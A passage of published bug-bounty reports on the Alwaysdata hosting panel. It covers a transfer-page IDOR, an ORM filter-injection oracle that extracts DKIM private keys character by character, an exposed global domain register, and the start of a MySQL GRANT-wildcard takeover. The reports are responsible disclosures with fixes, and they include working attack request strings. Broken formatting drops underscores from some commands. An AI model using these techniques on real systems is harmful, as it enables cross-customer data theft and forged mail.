Total cost: EUR 0.

I used a customer login with no relationship to the affected transfers.

All times are UTC, 2026-09-23.

1. Log in as an ordinary customer.

I used the login listed in the private annex. It owns exactly one account:

```
zzr1sticky0921
```

Its "Granted permissions" list is empty.

2. Request:

 GET /transfer/2000/confirm/

The endpoint returns HTTP 200 with a 149,638-byte response.

The body identifies a third-party account and the email address of the person accepting its transfer.

I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.

3. THE CONTROL THAT PROVES THE CHECK IS MISSING

Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.

See the Proof of Concept for the response matrix.

4. FURTHER CONTROLS

a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:

```
/transfer/99999999/confirm/

  404

/transfer/-1/confirm/

  404

/transfer/0/confirm/

  404

```

b) Authentication is required, so this is not an unauthenticated leak:

```
Anonymous GET /transfer/2000/confirm/
```

returns:

```
302 to /login/?next=/transfer/2000/confirm/
```

c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.

d) No other transfer sub-route I tested was open.

I swept 24 sub-routes including:

```
accept
cancel
decline
refuse
reject
delete
detail
edit
update
resend
renew
validate
complete
finish
abort
status
retry
approve
deny
transfer
the bare ID route
```

Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.

Only `/confirm/` was readable cross-customer.

I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.

5. RE-VERIFIED

I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.

No part of the evidence therefore depends on a session used for another test.

Proof of Concept:

All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.

Sibling view matrix, same session, same IDs, same minute:

```
ID /confirm/ /accept/ /cancel/
2000 200 (149,638 B) 404 (179 B) 404 (179 B)
4500 200 (149,636 B) 404 (179 B) 404 (179 B)
5030 200 (149,632 B) 404 (179 B) 404 (179 B)
```

Nonexistent and negative ID controls on the SAME view:

```
/transfer/99999999/confirm/ 404
/transfer/-1/confirm/ 404
/transfer/0/confirm/ 404
```

Unauthenticated control:

```
anonymous GET /transfer/2000/confirm/

  302 to /login/?next=/transfer/2000/confirm/

```

Shape of the disclosed response body, with the two sensitive values replaced:

```
Home > Transfers > Transfer of a Private cloud account

"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>.
This only concerns the ownership of the account. If you also want the contents
to be migrated to another server, please …"
```

Extent of the ID space:

```
IDs 4995 to 5062

  64 of 68 returned HTTP 200

```

Spot checks returning HTTP 200:

```
800
1400
2000
3000
4500
4900
```

Transfer ID 2000 predates every account I own.

Impact:

Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.

For each transfer, the endpoint exposes:

```
Account name
Product tier
Email address of the receiving party
```

Concretely:

Commercial and personal relationship disclosure.

The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.

For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.

Commercially sensitive transfer events.

An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.

The existence, timing, account identity, and receiving party of the transfer are disclosed.

Phishing and social-engineering targeting.

An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.

This provides a substantially more specific pretext than generic phishing.

Platform-wide transfer enumeration.

The existence oracle also provides information about historical transfer activity across the platform.

Recommendation:

1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.

Those two views provide the correct reference implementation.

The missing object-level authorization check appears to be the direct defect.

2. Confirm that the scoping predicate covers both parties to the transfer.

Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.

`/confirm/` currently responds to GET requests without the required object-level scope.

3. As defense in depth, apply the same principle used for the reseller views.

The transfer views should not default to a global queryset when the customer-specific filter is omitted.

A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.

4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.

A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.

DISCLOSURE AND CLEANUP:

I read three transfer records in full, plus one earlier record during discovery.

For the remaining enumeration, I recorded only HTTP status codes and response sizes.

Nothing was created, modified, accepted, cancelled, or deleted.

`/confirm/` is read-only based on the observed behavior.

I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.

Test window:

```
2026-09-23 04:40Z to 05:45Z UTC
```

 493  Blind Read of DKIM Private Keys via Filter Injection Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
The /reseller/domain/ endpoint allows attacker-controlled Django ORM lookups on TextField columns, turning the row count into a boolean oracle that can extract DKIM private keys character by character for domains across the entire 43,545-record register

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is a cross-customer disclosure of private key material.

CVSS 3.1: 9.3 Critical
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Confidentiality is High because the private half of a customer's DKIM keypair is exposed.

Integrity is Low rather than None because possession of a DKIM signing key allows an attacker to produce mail that authenticates as the victim's domain, corrupting the integrity of a security control operated by the customer. This does not directly modify data on the Alwaysdata platform.

Scope is Changed because the vulnerable component is the control-plane view, while the impacted component is the mail-authentication infrastructure of the 24,867 domains that hold a DKIM private key.

Description:

THIS IS A SECOND, INDEPENDENT DEFECT ON THE SAME ENDPOINT as my report "Full Customer Domain Register Readable by Any Customer."

That report concerns the missing authorization decorator and therefore who may reach this view. This report concerns what the view does with its query string after it has been reached.

The two issues require separate fixes. Adding the missing authorization decorator would still leave this vulnerability reachable by any legitimate reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently happens to contain the issue.

For each key=value pair in the query string, the view performs:

```
base = key.split('')[0]
``` It then resolves base against the Domain model. Three outcomes are possible: ```
base is not a field
The parameter is silently ignored. base is a CharField
The code appends
icontains to the WHOLE key.

  This is why:
      ?name__startswith=x
  raises an uncaught FieldError and results in HTTP 500. The ORM is effectively asked for:
      name__startswith__icontains

base is a TextField

  NOTHING is appended.
  Whatever lookup the attacker supplied is passed directly to .filter(), together with an attacker-controlled operand.

```

dkim_private_key and dkim_public_key are TextFields on this model.

This means an attacker can issue arbitrary true/false questions about the contents of a private key and observe the answer through the number of rows returned.

Because the same query string also accepts:

```
?name=<domain>
```

the attacker can first restrict the result set to exactly one domain and then ask questions about that specific row.

This converts a global row-count response into a per-domain, character-by-character read primitive.

THIS IS NOT THE DOCUMENTED OWNER READ.

Your API documentation describes dkim_private_key as:

```
"La clé privée, de type RSA au format PEM"
```

The legitimate owner read path works correctly. I verified that:

```
/v1/domain/<id>/
```

returns 404 when requested for a domain I do not own.

A customer reading their own DKIM key through an intended owner-only API is therefore not the issue.

The defect is that this reseller-domain endpoint allows another customer to query the private key for any domain.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A DKIM private key is not exposed to a tenant through any other route I tested.

I verified this from the node:

```
uid=548819(vk7research)
hostname=ssh2
```

There is no readable /etc/opendkim* file, no readable file matching *dkim*, and:

```
ls /home/
```

returns:

```
Permission denied
```

A customer's own shell therefore cannot read a DKIM private key at all, including its own, let alone another customer's.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__startswith=<attacker string>

GET https://admin.alwaysdata.com/reseller/domain/?name=<victim domain>&dkim_private_keyregex=<pattern> GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__endswith=<attacker string>
``` The same mechanism applies to: ```
dkim_public_key
``` The endpoint is reachable by any authenticated customer. No reseller role, permission grant, or paid plan is required. Steps to Reproduce: Total cost: EUR 0. I used an ordinary customer login with no special role. All times are UTC, 2026-09-23. I used two unrelated customer sessions and obtained identical results. 1. Establish that the vulnerable column is reachable and that the oracle has both TRUE and FALSE states. Counts were read from the paginator rather than estimated: ```
/reseller/domain/
2178 pages
43,545 rows
Entire register /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  24,867 rows
  Domains holding a PEM key

/reseller/domain/?dkim_private_keystartswith=ZZZZNOPE
0 rows
Negative control
``` A parameter that was being ignored could not produce 0 rows, while a parameter that was always true could not produce exactly 24,867 of 43,545 rows. Both states are real, establishing a working boolean oracle. 2. Pin the result set to a SINGLE row and ask questions about that row. I deliberately chose Alwaysdata's OWN domain so that every value I touched belonged to you rather than to a customer. ```
?name=alwaysdata.net
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–

  1 row
  TRUE

?name=alwaysdata.net&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN

  1 row

?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN DSA

  0 rows
  FALSE control

?name=alwaysdata.net&dkim_private_keyendswith=—–END RSA PRIVATE KEY—– 1 row
``` The RSA versus DSA pair is important because the oracle discriminates based on the CONTENT of the value, not merely whether a value is present. The
endswith result also demonstrates that the far end of the value is reachable, so extraction is not limited to a prefix walk.

3. Extraction was performed against Alwaysdata's OWN domain so that no customer key material was touched.

See the Proof of Concept below for the character walk.

The LINE ENDING was determined by the oracle rather than assumed:

```
—–BEGIN RSA PRIVATE KEY—–\r\n

  1 row

—–BEGIN RSA PRIVATE KEY—–\n

  0 rows

```

This demonstrates that the oracle is reading the stored value rather than merely reporting that a value exists.

I STOPPED at eight characters of base64 DER boilerplate.

Specifically:

```
MIICXAIB
```

is the PKCS#1 DER prefix shared by 1024-bit RSA private keys and therefore contains no bytes specific to your key.

I deliberately printed nothing beyond that point and do not hold anything beyond it.

Using:

```
regex=^<known>[<class>]
``` a binary search over the alphabet would require approximately six requests per character. I measured the endpoint's behavior rather than assuming it. Twenty consecutive probes on this parameter all returned HTTP 200 with: ```
No 429
No 503
No delay
``` at approximately 0.6 requests per second. I did not test higher rates and therefore make NO claim that rate limiting is absent. I only establish that none was encountered at the rate used for the test. 4. PROOF THAT THIRD-PARTY CUSTOMERS ARE AFFECTED I established this without reading anyone's private key. I ran ONE boolean probe against ONE third-party domain taken from the first page of the register. It is referred to here as: ```
<THIRD-PARTY-DOMAIN-A>
``` and is identified in the private annex. The domain is owned by an account that is not mine and has no relationship to my accounts. The requests were: ```
?name=<THIRD-PARTY-DOMAIN-A>
1 row ?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_key
startswith=—–BEGIN

  1 row
  TRUE

?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control
``` The only question asked was whether the value begins with the universal PEM header. No key material was disclosed by this probe, and I did not continue extraction against that domain. I deliberately do NOT provide a number for how many of the 24,867 keys belong to external customers. The Internal column is not filterable: ```
?internal=1
?internal=0
``` Both return the full 43,545 rows. Therefore, any split between internal and external domains would require an assumption, and I am not making one. 5. THE KEY IS LIVE, not a dormant database column. I verified that the value read by the oracle corresponds to a DKIM key that is published and in use. See the Proof of Concept below. Proof of Concept: All output below is verbatim. Counts, computed from the paginator bound and the row count on the last page: ```
/reseller/domain/
2178 pages
5 on the last page
43,545 total /reseller/domain/?dkim_private_key=
934 pages
18 on the last page
18,678 empty /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  7 on the last page
  24,867 with key

18,678 + 24,867 = 43,545
```

Every row in the register is therefore accounted for, and the two predicates partition the entire register.

This arithmetic is an internal consistency check that the filter is actually being applied.

Character walk on alwaysdata.net:

Each line represents a separate request. The value shown is the startswith operand and the result is the row count. ```
—–BEGIN RSA PRIVATE KEY—–\r\n
1
Line ending determined by the oracle —–BEGIN RSA PRIVATE KEY—–\n
0
Control, LF alone is incorrect —–BEGIN RSA PRIVATE KEY—–\r\nM
1 —–BEGIN RSA PRIVATE KEY—–\r\nMI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMII
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIIC
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICX
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXA
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIID
0
Control, same depth, wrong character —–BEGIN RSA PRIVATE KEY—–\r\nNIIC
0
Control, same depth, wrong character
``` Recovered prefix: ```
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
``` I stopped at that point. The key is live and published: ```
dig TXT default._domainkey.alwaysdata.net
``` returned: ```
"v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/sSC4hrmqyHzkMAU8tpK7BWmvg5JmOBbs028HZQDi…"
``` The zone answered with the same public key for every selector tested: ```
default
mail
dkim
alwaysdata
selector1
k1
s1
ad
smtp
key1
``` This indicates a wildcard *._domainkey record, meaning the key is reachable under any selector a verifier looks up. The register also agrees with DNS regarding the configured selector. dkim_selector is a CharField, so the same filter surface provides a contains match: ```
?name=alwaysdata.net&dkim_selector=default
1 row
``` Controls: ```
mail
0 rows dkim
0 rows zzznope
0 rows
``` The two key halves are also consistent in size and format. The published public key begins with: ```
MIGf
``` which is the header for a 1024-bit RSA public key. The private value recovered by the oracle begins with: ```
MIICXAIB
``` which is the PKCS#1 header for a 1024-bit RSA private key. Therefore, the readable private value corresponds to the public key that your verifiers are actually checking signatures against. Error behavior revealing the mechanism: ```
?name
startswith=x

  HTTP 500
  Uncaught FieldError
  The ORM is asked for name__startswith__icontains

?accountzzbogus=1
HTTP 500
Uncaught FieldError ?xyz
id=1

  HTTP 200
  Silently ignored because the first segment is not a model field

?dkim_private_keystartswith=<anything>
HTTP 200
Filter applies because the first segment is a TextField
``` Impact: An attacker with a free Alwaysdata account can extract the DKIM signing key of any domain hosted by Alwaysdata. With a domain's DKIM private key, an attacker can sign mail that passes DKIM as that domain. The Proof of Concept demonstrates that the corresponding public key is published and served under the tested selectors. Because DKIM is used by DMARC for alignment, a DMARC policy of p=reject does not by itself prevent forged mail when the attacker possesses the legitimate DKIM signing key. The forged message can authenticate correctly using the compromised key. This enables: Undetectable business email compromise against customer domains. An attacker possessing the private key can produce mail that cryptographically authenticates as the victim domain, including messages containing invoices, payment-detail changes, or instructions to staff. 24,867 domains contain a readable DKIM private key, and I demonstrated the read primitive against a third-party customer's domain without extracting its key. Defeat of the victim's own anti-phishing posture. Customers that have configured SPF, DMARC, and DKIM correctly can still be affected because possession of the legitimate signing key allows an attacker to generate valid DKIM signatures. Persistent compromise. The key does not expire simply because it has been disclosed. Remediation requires the customer to rotate the DKIM key and publish a new public key. The most significant single row is alwaysdata.net itself. I confirmed that it contains a readable RSA private key with a live published public half. This is the domain under which customer mailboxes live and, more importantly, the domain from which your own transactional mail is sent, including password-reset messages. An attacker holding that key can therefore send DKIM-valid mail as alwaysdata to your customer base. Recommendation: 1. Fix the filter construction. Validate the WHOLE parameter key against an explicit allow list of <field>
<lookup> combinations that the endpoint is intended to support.

Do not validate only the first path segment.

The current asymmetry is the specific cause of the vulnerability:

```
CharField → icontains appended
TextField → no lookup appended
``` A TextField should receive the same safe treatment as a CharField. Preferably, attacker-supplied lookups should not be accepted at all. 2. Remove dkim_private_key from the queryset fields that this view can filter on, and from any serializer that does not require it. A private key should never be a filterable column. 3. Fix the missing authorization on /reseller/domain/ as described in my separate report. Neither fix substitutes for the other. The authorization decorator alone would still leave this vulnerability reachable by every legitimate reseller, and the same filter helper is shared with: ```
/site/
/ssh/
/ftp/
/webdav/
/domain/
``` 4. Treat the DKIM keys as potentially compromised. The endpoint has been reachable by any customer, and I encountered no throttling at the rate used for testing. I would rotate affected DKIM keys, starting with alwaysdata.net. 5. Return HTTP 400 rather than HTTP 500 for an unresolvable lookup. Currently: ```
?name
startswith=x
```

and:

```
?account__zzbogus=1
```

produce uncaught FieldErrors.

DISCLOSURE AND CLEANUP:

No object was created, modified, or deleted at any point.

This report is entirely read-only.

The ONLY row I ever pinned and walked character by character was alwaysdata.net, which belongs to Alwaysdata.

I stopped after eight bytes of universal PEM and DER boilerplate.

I did not extract and do not hold any key material belonging to Alwaysdata or any customer.

Cross-customer reach is evidenced by three requests against one third-party domain, asking only whether its value begins with the universal PEM header.

That domain is identified in the private annex rather than in this task because tasks on this tracker are published.

I also generated approximately 20 uncaught FieldError HTTP 500 responses on /reseller/domain/ between 06:29Z and 07:10Z while mapping which fields were reachable.

The 500 page states:

```
"We have been immediately alerted"
```

Those alerts are therefore explained by this report.

Test window:

```
2026-09-23 06:29Z to 08:25Z UTC
```

 492  Full Customer Domain Register Readable by Any Customer Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
Unauthorised access to the global reseller domain listing exposes 43,545 customer domain records, including owning account names, internal customer IDs, and expiration dates

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#203  (account domains exposed through insufficient authorization) and  FS#423  (IDOR to registrant dossiers), both of which you fixed.

CVSS 3.1: 7.7 High
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

I score this High rather than Critical because the primitive is read-only and does not directly modify anything. For your own triage, the exposed data is a complete core control-plane table covering your entire customer base, which appears relevant to the wording your reward table uses for the Critical band. It also includes your own infrastructure records. I leave that determination to you rather than claiming a Critical severity.

Description:

/reseller/domain/ is part of the reseller application. Seventeen other routes in the same application, including /reseller/customer/ and /reseller/ticket/notifications/, correctly reject a customer who is not a reseller with a 302 redirect to /. The /reseller/domain/ route does not perform an authorization check and instead returns the global queryset.

As a result, any person who can create a free Alwaysdata account can read the entire domain register. Signup is self-service and free.

Each row exposes four visible columns:

```
Name
Account
Internal
Expiration date
```

Each row also contains a link that discloses two internal primary keys that are not otherwise shown on screen:

```
/reseller/customer/<customer_id>/connect/?all_permissions=1&next=/domain/<domain_id>/?_account=<account>
```

Therefore, each record exposes:

```
Domain name
Owning account name
Internal customer ID
Internal domain ID
Whether the domain is internal
Expiration date
```

THE SENSITIVE PART IS THE DOMAIN-TO-ACCOUNT JOIN, NOT THE DOMAIN NAMES THEMSELVES.

A domain owned by an Alwaysdata customer is not necessarily externally identifiable as an Alwaysdata customer. Two examples from the first page of results are kept in the private annex: <DOMAIN-A> is served by Cloudflare nameservers, while <DOMAIN-B> uses myhostadmin.net nameservers. DNS, WHOIS, and certificate-transparency observations therefore do not reveal that either domain belongs to an Alwaysdata customer.

The vulnerable listing states this relationship directly, together with the account name and internal customer ID.

This is why the published carve-out concerning account names does not cover this finding. The issue is not merely disclosure of account names. It is the authoritative mapping of domains to their owning Alwaysdata accounts and internal customer IDs across the entire customer base, exposed through a single pageable list.

The ?name= parameter is also a substring filter applied across the global register rather than only against the authenticated customer's objects. This allows targeted queries such as determining whether a particular organisation, domain, or substring appears in the customer register.

IT IS NOT ONLY CUSTOMER DATA.

The register also contains Alwaysdata's own infrastructure records. From the same ordinary customer session, the following query is sufficient:

```
?name=alwaysdata
```

It returns:

```
alwaysdata.com
alwaysdata.net
alwaysdata.fr
alwaysdata.info
alwaysdata.org
```

These are owned by the internal account "ad" and are marked Internal: yes. The same query also exposes a staff sandbox account.

The "ad" row contains a link referencing:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

alwaysdata.net is particularly relevant because it is the zone used for customers' automatically provisioned hostnames, and "ad" is the account that owns the shared zone.

This discloses internal account and infrastructure structure that is not available through a normal customer session. It is also related to the same class of disclosure addressed in  FS#426  and the follow-up  FS#440 .

RELATED REPORT

I am filing a separate Critical report titled "Blind Read of DKIM Private Keys via Filter Injection."

That report concerns how this view processes its query string rather than who is authorized to access the view. The two issues require independent fixes.

Adding the missing reseller authorization described here would still leave the filter-injection issue reachable by a reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently contains the issue.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A customer may be able to perform operations through their own SSH access, but that does not provide access to this dataset.

I verified this from a shell on the node. On ssh2:

```
ls /home/
```

returns:

```
Permission denied
```

A tenant's own environment does not enumerate other customers' domains, their owning account names, or their internal customer IDs.

The exposed dataset resides in the control-plane database and is made available to any authenticated customer through this endpoint.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/ GET https://admin.alwaysdata.com/reseller/domain/?page=<n>
GET https://admin.alwaysdata.com/reseller/domain/?name=<substring>
```

All three are reachable by any authenticated customer. No reseller role or additional permission is required.

Steps to Reproduce:

Total cost: EUR 0.

I used three mutually independent customer logins so that no permission grant between my own accounts could explain the result.

All times are UTC, 2026-09-23.

1. Log in to https://admin.alwaysdata.com/ as an ordinary customer.

I verified the issue with three separate users, listed in the private annex as:

```
User A: account vk7research
User B: account vk7victim
User C: account zzr1sticky0921
```

User C has an empty "Granted permissions" list and has no relationship with the other two accounts. This confirms that the result is not caused by a shared permission grant.

2. Request:

 GET /reseller/domain/

All three independent sessions return HTTP 200 and display domain records that do not belong to me.

See the Proof of Concept below.

3. Determine the size of the exposure from the paginator rather than estimating it.

 ?page=1       20 data rows
 ?page=2178     5 data rows
 ?page=2179     0 data rows

Therefore:

```
2177 x 20 + 5 = 43,545 records
```

I did not enumerate the records. I used the paginator only to establish the total bound.

4. Verify the authorization controls.

a) Authentication IS required, so this is not an unauthenticated leak:

```
Anonymous GET /reseller/domain/
```

returns:

```
302 to /reseller/domain/
```

b) Sibling routes in the SAME application ARE gated:

```
GET /reseller/customer/ 302 to /
GET /reseller/ticket/notifications/ 302 to /
GET /reseller/ 404
GET /reseller/zzzznotreal/ 404
```

The nonexistent route check was used as a route-existence control.

c) The customer-facing equivalent is correctly scoped:

```
GET /domain/
```

shows only the authenticated customer's own domains.

On these accounts it returned:

```
No domain name
```

A foreign domain ID also returns:

```
GET /domain/<foreign id>/ 404
```

The response was byte-identical to the nonexistent-object case.

Therefore, object-level authorization appears correctly enforced on the other relevant routes I tested. It is specifically this global reseller listing that is exposed.

d) The impersonation link printed in each row is NOT independently exploitable based on my testing:

```
GET /reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1 404
GET /reseller/customer/<CUSTOMER-ID-B>/connect/?all_permissions=1 404
GET /reseller/customer/999999999/connect/?all_permissions=1 404
```

Real and nonexistent customer IDs behaved identically.

I therefore make NO account takeover claim from these links. I mention them only because the listing itself discloses the internal customer IDs.

5. I re-verified the issue at 05:45:11Z from a newly established session, logged in from scratch specifically for this check.

The endpoint still returned HTTP 200, with 20 records on page 1 and 2,178 pages containing data.

Proof of Concept:

All output below is verbatim except that customer-identifying values are replaced with placeholders. The real values are retained in the private annex because tasks on this tracker are published.

Page 1 of /reseller/domain/ as an ordinary customer:

```
Name Account Internal Expiration date
<DOMAIN-A> <ACCOUNT-A> no 19/10/2025
<DOMAIN-B> <ACCOUNT-B> no 21/12/2025
<DOMAIN-C> <ACCOUNT-C> no 11/06/2026
<DOMAIN-D> <ACCOUNT-D> yes 10/07/2026
<DOMAIN-E> <ACCOUNT-E> yes 11/07/2026
(15 further rows on the page, none of them mine)
```

The row markup for the first record also contains the internal IDs:

```
/reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1&next=/domain/<DOMAIN-ID-A>/?_account=<ACCOUNT-A>
```

Your own infrastructure, from the same ordinary customer session:

```
?name=alwaysdata

alwaysdata.com owner account "ad" Internal: yes
alwaysdata.net owner account "ad" Internal: yes
alwaysdata.fr owner account "ad" Internal: yes
alwaysdata.info owner account "ad" Internal: yes
alwaysdata.org owner account "ad" Internal: yes
alwaysdata-test1.com owner account <STAFF-SANDBOX-ACCOUNT>
```

The "ad" row contains:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

Paginator bound:

```
?page=1 20 data rows
?page=2178 5 data rows
Total 43,545 records
```

Impact:

Any person who registers a free Alwaysdata account obtains a complete, authoritative, pageable copy of the customer-to-domain register:

```
43,545 domains
Owning account names
Internal customer IDs
Expiration dates
Internal domain status
```

Concretely, this enables:

Competitor intelligence at whole-book scale.

The entire hosting customer base becomes queryable, including customers whose relationship with Alwaysdata is not externally visible from DNS because their domains are delegated elsewhere.

Targeted takeover preparation.

The expiration-date column identifies when domains lapse, while the account column identifies the Alwaysdata account associated with a specific business.

Account-name resolution for follow-on attacks.

The listing provides the Alwaysdata account name associated with each domain. That account name can then be correlated with Alwaysdata.net hostnames, SSH, FTP and WebDAV usernames, mail addresses, and database naming conventions.

This converts a target such as "I want to attack company X" into the corresponding Alwaysdata account for the entire customer base.

Phishing and social-engineering targeting.

The combination of domain ownership, account identity, and expiration date can be used to construct convincing renewal-related lures.

Disclosure of internal infrastructure.

The listing exposes the account that owns alwaysdata.net and the shared zone, its internal customer ID, and at least one staff sandbox account.

Customer privacy impact.

The affected data subjects are Alwaysdata customers. Some customers may be sole traders or individuals, meaning the domain-to-account mapping can constitute personal data independently of the direct security impact.

Recommendation:

1. Apply the same reseller authorization decorator already used by the correctly gated /reseller/ routes to /reseller/domain/.

This is the direct fix for the authorization defect.

2. Fix the filter injection on the same endpoint as well.

I am filing that issue separately as a Critical finding. Neither fix substitutes for the other. The authorization decorator alone would still leave the filter-injection issue reachable by an authorized reseller.

The same filter helper is also shared with:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

3. Audit /reseller/subscription/ at the same time.

This is the second route in the application that did not redirect my non-reseller accounts. It returned:

```
0 element(s)
No current subscription
```

Changing the ?customer= filter did not alter the result.

I therefore make no claim about this route. However, it should be reviewed in the source code to confirm that its queryset is genuinely tenancy-filtered rather than merely empty for my accounts.

4. As defense in depth, make the reseller queryset filter explicit through the shared mixin or equivalent authorization mechanism.

The underlying risk is not only the missing authorization check on this view. Omitting the check currently results in the global queryset being returned.

5. Consider whether the row template needs to embed the internal customer ID at all.

The /reseller/customer/<id>/connect/ route is not usable by the reader based on my testing, so exposing the internal customer ID provides additional internal information without an apparent benefit to an unauthorized reader.

DISCLOSURE AND CLEANUP:

This report is entirely read-only.

I did not modify or delete anything.

I read only page 1 and page 2178 to establish the record count, along with a small number of ?name= queries quoted above. I did not enumerate the register.

I have retained nothing beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been replaced with placeholders in this task because reports on this tracker are published.

Test window:

```
2026-09-23 04:55Z to 05:45Z UTC
```

 491  Cross-Customer Database Takeover via GRANT Wildcard Closed23.09.2026 Task Description

NAME OF VULNERABILITY

The MySQL provisioner interpolates the customer-supplied database name into:

```
GRANT ALL PRIVILEGES ON `<name>`.*
```

without escaping it.

In MySQL and MariaDB, the database component of a GRANT is a pattern in which the underscore matches any single character. As a result, a customer who creates a database named with their mandatory account prefix followed by underscores receives full read, write, and DROP rights on every database of the same length belonging to another customer whose account name begins with theirs.

—

VULNERABILITY CATEGORY

Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

Cross-customer data access on shared infrastructure.

—

CVSS

CVSS 3.1 score: 9.9 Critical

Vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The issue is network reachable, trivial to perform, requires only a free self-service account, requires no user interaction, and yields confidentiality, integrity, and availability impact through SELECT, INSERT, UPDATE, and DROP access to another customer's data.

Scope is Changed because the flaw exists in the control-plane provisioner while the impacted component is the shared MariaDB instance and other tenants' data.

—

DESCRIPTION

When a customer creates a MySQL database, the control plane grants the account's database user rights on it using a statement of the form:

```
GRANT ALL PRIVILEGES ON `<database name>`.* TO `<db user>`@`%` WITH GRANT OPTION
```

In MySQL and MariaDB, the database component of a GRANT is not a literal identifier. It is a pattern, using the same wildcard semantics as LIKE.

The underscore is therefore interpreted as a single-character wildcard.

To grant privileges on a literal name containing an underscore, that underscore must be escaped as _.

Your provisioner does not escape it.

THE NAMING RULE MAKES THE PROBLEM UNAVOIDABLE

Your own naming rule requires every database name to begin with:

```
<account>_
```

The form explicitly states:

```
"must start with: vk7research_"
```

That mandatory separator is itself the first wildcard character, so every grant you issue is already a pattern rather than a literal database name.

Normally, that is harmless because the remainder of the name is literal text.

It stops being harmless when a customer deliberately supplies additional underscores.

CROSS-CUSTOMER ACCESS

A customer who creates a database named:

```
zzr1 ``` receives: ```
GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION
```

MariaDB evaluates this as a pattern matching any database whose name is zzr1 followed by fourteen characters.

That set includes:

```
zzr1sticky0921_vic
```

which is a database belonging to a different customer on a different account.

No grant naming the victim's database is ever created, and none appears in SHOW GRANTS.

BOUNDS ON THE REACH

The reach is bounded by two things, and I state both rather than overstate the issue.

First, the database name must still begin with the attacker's own account name, so the victim's account name must have the attacker's account name as a strict prefix.

Second, the percent sign, which is the multi-character wildcard, is rejected by the name validator. Therefore, the attacker must match the victim's database name length exactly.

This costs only a few dozen databases to cover every plausible length.

Neither bound is a meaningful obstacle because the attacker chooses their own account name during free self-service signup and can register a name that prefixes their intended target.

WHY THIS IS NOT WORKING AS INTENDED

Your own interface defines the intended model, and this behavior defeats it.

The endpoint:

```
/database/add/?type=mysql
```

offers exactly three per-database permission levels for the account's database user:

```
"all rights"
"read only"
"no rights"
```

Per-database permissioning is therefore a control you deliberately expose.

The database used in my proof was configured with "no rights", which is the strongest setting your interface offers, and it was still fully readable, writable, and droppable.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

Your standing position is that a customer can already do anything over their own SSH access.

That does not apply here.

The differential is built into this report as a control.

Using the same credentials, from the same client, against the same host:

```
